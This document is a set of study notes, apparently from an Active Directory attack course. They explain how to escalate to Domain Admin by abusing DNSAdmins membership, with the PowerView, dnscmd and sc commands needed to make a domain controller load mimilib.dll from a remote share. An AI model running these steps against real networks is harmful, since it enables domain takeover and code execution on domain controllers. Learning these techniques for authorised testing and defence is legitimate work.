# 19. Domain Privilege Escalation DNSAdmin
## Priv Esc - DNSAdmins
- It is possible for the members of the DNSAdmins group to load arbitrary
- In case the DC also serves as DNS, this will provide us escalation to DA
- Need privileges to restart the DNS service
### Enumerate the members of the DNSAdmins group using PowerView
```
Get-NetGroupMember -GroupName "DNSAdmins"
```

### Using ActiveDirectory module
### Once we know the members of the DNSAdmins group, we need to compromise a member. We already hve hash of srvadmin because of derivate local admin.
### From the privileges of DNSAdmins group member, configure DLL using dnscmd.exe(need RSAT DNS):
```
dnscmd dcorp-dc /config /serverlevelplugindll \\172.16.50.100\dll\mimilib.dll
```

Obs:Mimikatz tiene una función `mimilib` que permite que se use como complemento válido.
Recordar los permisos del recurso a compartir:
- Click en la carpeta que contiene `mimilib.dll`
- Properties
- Sharing
- Share
- Read/Write

Para usar lo anterior, necesitamos reiniciar el servicio:
```
sc \\dcorp-dc stop dns
sc \\dcorp-dc start dns
```

Y se puede comprobar que hay un registro nuevo, se ha cargado un dll del complemento del servidor DNS en el servidor:

`mimilib.dll` proporciona un nuevo archivo llamado `kiwidns` en la carpeta system32, todas las solicitudes dns enviadas a estos dominios se registrarán aquí.
Además no solo se limita a guardar los logs, sino también puede ejecutar una powershell modificando el `kdns.c`:
